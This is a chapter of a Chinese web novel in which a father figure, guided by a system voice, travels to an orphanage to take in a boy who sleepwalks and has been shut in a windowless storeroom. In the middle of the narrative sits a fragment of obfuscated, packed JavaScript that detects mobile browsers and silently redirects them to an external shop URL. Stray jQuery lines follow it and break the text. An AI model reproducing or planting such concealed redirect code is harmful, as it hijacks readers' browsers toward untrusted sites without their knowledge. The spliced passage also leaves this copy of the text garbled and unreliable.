顾夜来到这个家的第四十五天，沈渡买了一张去城北的火车票。
城北不远，火车两个小时，但沈渡没有告诉孩子们他去哪里。早上出门的时候，沈念问“爸爸你去哪儿”，沈渡说“去买点东西”。
沈念又问“买什么”，沈渡想了想说“买一个人”。
沈念愣了一下，然后笑了，露出两颗缺了还没长出来的门牙：“爸爸你骗人，人又不是东西，不能买。”
“对，”沈渡蹲下来，帮她把歪掉的小揪揪正了正，“人不是东西，不能买。但人可以接。爸爸去接一个人。”沈念眨了眨眼，没有问“接谁”。
她已经习惯了爸爸这种“忽然出门然后带一个小孩回来”的奇怪行为模式。她只是说：“那你要快一点，今天幼儿园要做手工，我做了一个纸兔子，要给你看的。”
沈渡说：“好。”然后他站起来，看了一眼走廊里的三个孩子——林暮在擦桌子，林鸢在调琴弦，顾夜在墙角坐着，手里捧着一杯温水，水温刚好，是他自己倒的。他学会了自己倒水，来这里的第四十天学会的。
那天他打碎了一个杯子，碎玻璃溅了一地，他整个人僵住了，像被雷劈中的树，站在那里一动不动，眼睛里的光全部熄灭了，缩回了那个没有开灯的房间。
沈渡走过来，没有说“没关系”，没有说“碎就碎了”，只是蹲下来，把碎玻璃一片一片捡起来，包在报纸里，扔进垃圾桶。然后他从碗柜里拿出一个新杯子，白色的，上面画着一朵向日葵，盛了温水，放在顾夜手里。顾夜捧着那杯水，站了很久，然后慢慢地、一口一口地喝完了。第二天，他自己倒了一杯水，没有打碎。第三天，又倒了一杯。第四十天，他已经可以端着水杯从厨房走到走廊，水不洒，手不抖。进步很小，但沈渡看见了。
火车两个小时。
沈渡坐在靠窗的位置，窗外是秋天的田野，稻子已经收割了，只剩下短短的稻茬，金黄的一片，像大地剃了板寸。天很高，很蓝，云很白，很轻，像有人在天上晒了很多床棉被。
小零在系统空间里翻着资料，声音比平时轻：“傅星辰，七岁。父亲是消防员，在他三岁时因公殉职。母亲在他四岁时改嫁，继父不愿意要他，他被送到了福利院。在福利院三年，没有被领养过。不是因为他不好——他很好。他聪明，长得好看，性格温和，但他有一个问题。”
小零停了一下。
“他会梦游。”
沈渡转过头，看着窗外。窗外有一群鸟飞过，排成人字形，往南飞。
“不是普通的梦游，是那种——他会半夜起来，走到福利院的走廊里，敲每一扇门。不重，三下，笃、笃、笃。然后说：‘妈妈，我回来了。’说完就回去睡觉，第二天什么都不记得。福利院的阿姨被他吓到过，一开始以为闹鬼，后来知道是他，就把他换到了走廊尽头的单间——不是照顾他，是怕他吓到其他孩子。那个单间很小，以前是杂物间，没有窗户，门关上的时候，里面是黑的。一点光都没有。”
小零说完，系统空间里安静了很久。
沈渡看着窗外飞过的鸟，鸟飞得很远，变成一个个小黑点，消失在天边。
他说：“福利院的人有没有试过帮他？找医生，或者——”
“没有。”小零的声音里有很淡很淡的、几乎听不出来的难过，“福利院的孩子太多了，阿姨太少了。能把饭喂到嘴里、把衣服穿在身上，已经是尽力了。梦游这种不疼不痒的病，没人管。也管不过来。”
火车在铁轨上轰隆隆地跑着，窗外的风景从田野变成城镇，从城镇变成荒地，从荒地又变成田野。
沈渡靠在椅背上，闭着眼睛，手指交叉放在膝盖上。他没有说话，但小零知道他在想什么。他在想一个七岁的孩子，在黑暗的杂物间里醒来，伸手不见五指，不知道自己在哪里，不知道为什么没有人来。然后第二天，在阳光下笑着对每一个阿姨说“早上好”，像一个正常的、快乐的、不需要任何人的小孩。
他在想，那个孩子每天晚上都会做梦。梦里妈妈还在，爸爸还在，家里还有一盏灯是专门为他留的。他在那条从梦里走回现实的路上，敲了三年门，敲了三年，没有一扇门为他打开过。
火车到了。城北福利院在一条很老的巷子里，巷口有一棵大槐树，树龄至少五十年，树干粗得要两个人才抱得住。
树叶已经开始黄了，风一吹，哗啦哗啦地往下掉，铺了一地的金黄。福利院是一栋三层的老楼房，外墙刷着米黄色的漆，漆已经斑驳了，露出底下灰色的水泥。院子里有一个滑梯，铁的，生锈了，滑下去大概会刮破裤子。有几个小孩在院子里玩，追着跑着，笑声很大。
沈渡站在院子外面，看着那些孩子，看到一个扎着双马尾的小姑娘蹲在地上，捡了一片黄色的叶子，举起来对着太阳看，叶脉在阳光下清晰得像一幅地图。她旁边有一个小男孩在拍皮球，皮球很旧了，花纹都磨没了，但他拍得很认真，一下，一下，一下。还有一个小孩坐在台阶上，手里拿着一本绘本，书页卷了边，他翻得很慢，每一页都要看很久。
沈渡推开门，走进了院子。皮球滚到了他脚边，他弯腰捡起来，递给跑过来的小男孩。
小男孩接过皮球，说了声“谢谢叔叔”，又跑回去拍了。双马尾的小姑娘还蹲在地上看叶子，看了沈渡一眼，又低下头继续看叶子。
沈渡走到楼门前，门开着，走廊里很暗，灯泡坏了一半，只有靠近门口的那盏还亮着，发出昏黄的光。
墙上贴着手工画，画的太阳，画的云，画的小草，画的歪歪扭扭的房子。其中一幅画上画了一个人，大大的，手伸得很长，像要抱住什么。旁边歪歪扭扭地写着几个字：“我的家人。”纸已经泛黄了，边角卷起来了，但还贴在那里，没有被撕掉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547258|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>走廊尽头有一扇门，白色的，关着。门上有牌子，写着“仓库”两个字，但“仓”字掉了半边，“库”字只剩下“广”，看起来像“厂”又不是“厂”。门下面有一道缝，很窄，透不出光，因为没有光可以透。房间里没有窗户。
沈渡站在那扇门前，没有立刻推开。他先敲了敲门，三下，笃、笃、笃。里面没有声音。他又敲了三下，笃、笃、笃。这一次，里面传来一阵细微的声响——脚踩在地板上的声音，很轻，像猫。然后门开了一条缝。
门缝里有一张脸。
很小的脸，瘦，白，像一块没有被晒过太阳的豆腐。眼睛很大，深棕色的，像两颗被水洗过的板栗。睫毛很长，翘的，像两把小扇子。头发是深棕色的，有点长，刘海遮住了眉毛，发尾搭在肩膀上。他穿着一件浅蓝色的毛衣，毛衣很大，领口滑到了一边，露出半边肩膀。肩膀很窄，锁骨很明显，像两根细细的树枝，撑着一件太大的衣服，衣服在晃，树枝也在晃。
他看着沈渡，沈渡看着他。两个人隔着一条门缝对视。男孩的眼睛里没有害怕，没有好奇，没有警惕，只有一种很安静的、很温和的、像秋天的湖水一样的东西。不是死水，是活水，只是太清了，清到你能看到水底的每一颗石头。石头不硌人，它们只是安静地躺在那里，被水流冲刷了太久，磨去了所有的棱角。
“你好。”男孩说。声音不大，但很清楚，像风吹过玻璃瓶口，发出一个干净的、圆润的音。他先开口了，不是“你是谁”，不是“你找谁”，只是一个“你好”。像接待一个来家里做客的客人，礼貌，温和，恰到好处的距离。
沈渡蹲下来，和他平视。“你好，”沈渡说，“我叫沈渡。”
男孩眨了眨眼，睫毛扇了两下，像蝴蝶扇了两下翅膀。“傅星辰。”他说出自己的名字，不是自我介绍的语气，是确认的语气——“我是傅星辰，你是谁？”
沈渡听懂了，说：“我是来绑架你的人。”
傅星辰看着沈渡，看了几秒钟，然后很轻很轻地笑了一下。那个笑容不大，但很好看，像一朵花在清晨慢慢打开花瓣，不是“轰”地一下绽放，是“簌”地一下，无声无息，但你看到了，就知道春天来了。
他问了一个问题：“你家里有窗吗？”
沈渡说：“有。”
他问：“窗大吗？”
沈渡说：“很大，从地板到天花板。早上太阳会照进来，照在地板上，暖的。”
傅星辰点了点头，好像终于确认了什么重要的事情。他把门开大了一些，侧身，让出了一条路。他转身走回了房间。沈渡站在门口，没有进去。
借着走廊里那盏昏黄的灯，他看到房间里面很小，大概三四平米，放了一张单人床，床边有一个床头柜，床头柜上放着一杯水，水杯是塑料的，透明的那种，喝过一半。墙上什么都没有，没有窗户，没有画，没有贴纸。